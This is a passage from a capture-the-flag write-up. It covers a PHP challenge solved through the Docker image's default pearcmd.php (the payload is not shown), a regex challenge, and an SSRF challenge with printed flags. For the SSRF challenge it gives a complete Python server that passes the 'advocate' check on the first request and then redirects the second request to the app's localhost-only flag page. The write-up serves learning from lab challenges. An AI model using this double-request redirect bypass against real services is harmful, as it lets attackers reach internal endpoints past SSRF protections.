root@f869105b6e8b:/# find -name "*.php"
./usr/local/lib/php/OS/Guess.php
./usr/local/lib/php/doc/XML_Util/examples/example.php
./usr/local/lib/php/doc/XML_Util/examples/example2.php
./usr/local/lib/php/Structures/Graph.php
./usr/local/lib/php/Structures/Graph/Manipulator/AcyclicTest.php
./usr/local/lib/php/Structures/Graph/Manipulator/TopologicalSorter.php
./usr/local/lib/php/Structures/Graph/Node.php
./usr/local/lib/php/Archive/Tar.php
./usr/local/lib/php/PEAR/Config.php
./usr/local/lib/php/PEAR/DependencyDB.php
./usr/local/lib/php/PEAR/Dependency2.php
./usr/local/lib/php/PEAR/Command.php
./usr/local/lib/php/PEAR/Proxy.php
./usr/local/lib/php/PEAR/PackageFile.php
./usr/local/lib/php/PEAR/REST.php
./usr/local/lib/php/PEAR/Downloader/Package.php
./usr/local/lib/php/PEAR/Validate.php
./usr/local/lib/php/PEAR/Builder.php
./usr/local/lib/php/PEAR/Validator/PECL.php
./usr/local/lib/php/PEAR/Command/Config.php
./usr/local/lib/php/PEAR/Command/Remote.php
./usr/local/lib/php/PEAR/Command/Auth.php
./usr/local/lib/php/PEAR/Command/Test.php
./usr/local/lib/php/PEAR/Command/Mirror.php
./usr/local/lib/php/PEAR/Command/Pickle.php
./usr/local/lib/php/PEAR/Command/Registry.php
./usr/local/lib/php/PEAR/Command/Build.php
./usr/local/lib/php/PEAR/Command/Channels.php
./usr/local/lib/php/PEAR/Command/Install.php
./usr/local/lib/php/PEAR/Command/Package.php
./usr/local/lib/php/PEAR/Command/Common.php
./usr/local/lib/php/PEAR/Downloader.php
./usr/local/lib/php/PEAR/Task/Unixeol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript.php
./usr/local/lib/php/PEAR/Task/Replace/rw.php
./usr/local/lib/php/PEAR/Task/Replace.php
./usr/local/lib/php/PEAR/Task/Windowseol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript/rw.php
./usr/local/lib/php/PEAR/Task/Unixeol/rw.php
./usr/local/lib/php/PEAR/Task/Windowseol/rw.php
./usr/local/lib/php/PEAR/Task/Common.php
./usr/local/lib/php/PEAR/Frontend/CLI.php
./usr/local/lib/php/PEAR/Installer/Role.php
./usr/local/lib/php/PEAR/Installer/Role/Php.php
./usr/local/lib/php/PEAR/Installer/Role/Script.php
./usr/local/lib/php/PEAR/Installer/Role/Man.php
./usr/local/lib/php/PEAR/Installer/Role/Data.php
./usr/local/lib/php/PEAR/Installer/Role/Src.php
./usr/local/lib/php/PEAR/Installer/Role/Cfg.php
./usr/local/lib/php/PEAR/Installer/Role/Test.php
./usr/local/lib/php/PEAR/Installer/Role/Www.php
./usr/local/lib/php/PEAR/Installer/Role/Doc.php
./usr/local/lib/php/PEAR/Installer/Role/Ext.php
./usr/local/lib/php/PEAR/Installer/Role/Common.php
./usr/local/lib/php/PEAR/XMLParser.php
./usr/local/lib/php/PEAR/Frontend.php
./usr/local/lib/php/PEAR/ChannelFile/Parser.php
./usr/local/lib/php/PEAR/ChannelFile.php
./usr/local/lib/php/PEAR/Registry.php
./usr/local/lib/php/PEAR/ErrorStack.php
./usr/local/lib/php/PEAR/Exception.php
./usr/local/lib/php/PEAR/REST/13.php
./usr/local/lib/php/PEAR/REST/10.php
./usr/local/lib/php/PEAR/REST/11.php
./usr/local/lib/php/PEAR/PackageFile/v2/Validator.php
./usr/local/lib/php/PEAR/PackageFile/v2/rw.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v1.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v2.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v1.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v2.php
./usr/local/lib/php/PEAR/PackageFile/v1.php
./usr/local/lib/php/PEAR/PackageFile/v2.php
./usr/local/lib/php/PEAR/Installer.php
./usr/local/lib/php/PEAR/RunTest.php
./usr/local/lib/php/PEAR/Common.php
./usr/local/lib/php/PEAR/Packager.php
./usr/local/lib/php/Console/Getopt.php
./usr/local/lib/php/XML/Util.php
./usr/local/lib/php/test/XML_Util/tests/ApiVersionTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagFromArrayTests.php
./usr/local/lib/php/test/XML_Util/tests/AttributesToStringTests.php
./usr/local/lib/php/test/XML_Util/tests/RaiseErrorTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21177Tests.php
./usr/local/lib/php/test/XML_Util/tests/Bug5392Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagTests.php
./usr/local/lib/php/test/XML_Util/tests/GetXmlDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCDataSectionTests.php
./usr/local/lib/php/test/XML_Util/tests/GetDocTypeDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21184Tests.php
./usr/local/lib/php/test/XML_Util/tests/AbstractUnitTests.php
./usr/local/lib/php/test/XML_Util/tests/IsValidNameTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug4950Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateStartElementTests.php
./usr/local/lib/php/test/XML_Util/tests/ReverseEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/SplitQualifiedNameTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCommentTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateEndElementTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug18343Tests.php
./usr/local/lib/php/test/XML_Util/tests/ReplaceEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/CollapseEmptyTagsTests.php
./usr/local/lib/php/test/Structures_Graph/tests/AcyclicTestTest.php
./usr/local/lib/php/test/Structures_Graph/tests/TopologicalSorterTest.php
./usr/local/lib/php/test/Structures_Graph/tests/AllTests.php
./usr/local/lib/php/test/Structures_Graph/tests/BasicGraphTest.php
./usr/local/lib/php/pearcmd.php
./usr/local/lib/php/peclcmd.php
./usr/local/lib/php/build/gen_stub.php
./usr/local/lib/php/build/run-tests.php
./usr/local/lib/php/System.php
./usr/local/lib/php/PEAR.php
root@f869105b6e8b:/#
We could locate the file we used in the exploit.
root@f869105b6e8b:/usr/local/lib/php# ls
Archive Console OS PEAR PEAR.php Structures System.php XML build data doc extensions pearcmd.php peclcmd.php test
root@f869105b6e8b:/usr/local/lib/php#
Furthermore, register_argc_argv is On, which is needed for the pearcmd.php exploit
This challenge taught me to look deeper, look at all parts of the infrastructure, instead of just being focused on specific techniques.
Flags
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}
Misc - Regex101
Solution
I copied the text file to regexr.com, and used it to find the flag.
My regex expression SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}}
is quite straightforward and can be explained by regexr
Flag
SEE{RGSXG13841KLWIUO}
Others - SSRF
I only solved this after the CTF (using reference), but basically, looking at the source code
from flask import Flask, request, render_template
import os
import advocate
import requests
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# Prevent SSRF
try:
advocate.get(url)
except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
You notice these lines. The advocate.get
and requests.get
means that the web server is called twice. advocate
is protected against SSRF (you can google more about the python library), but requests
isn't. If only I actually read the last line in the CTF...
try:
advocate.get(url)
except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url)
Hence the goal is to create a web server where the first request bypasses advocate, but the 2nd request can redirect the client to the desired webpage, in this case /flag
which can only be accessed locally.
Here is my code
# Python 3 server example
# Copied from https://pythonbasics.org/webserver/ with minor edits
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
count = 0
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
global count
if count == 0:
self.option1()
count += 1
else:
self.option2()
def option1(self): # Bypass advocate on first request
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes("<html><head><title>https://pythonbasics.org</title></head>", "utf-8"))
self.wfile.write(bytes("<p>Request: %s</p>" % self.path, "utf-8"))
self.wfile.write(bytes("<body>", "utf-8"))
self.wfile.write(bytes("<p>This is an example web server.</p>", "utf-8"))
self.wfile.write(bytes("</body></html>", "utf-8"))
def option2(self): # redirect
self.send_response(301)
self.send_header('Location','http://localhost/flag')
self.end_headers()
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
I used ngrok to tunnel this web server, and submit the nrgok url to get the flag.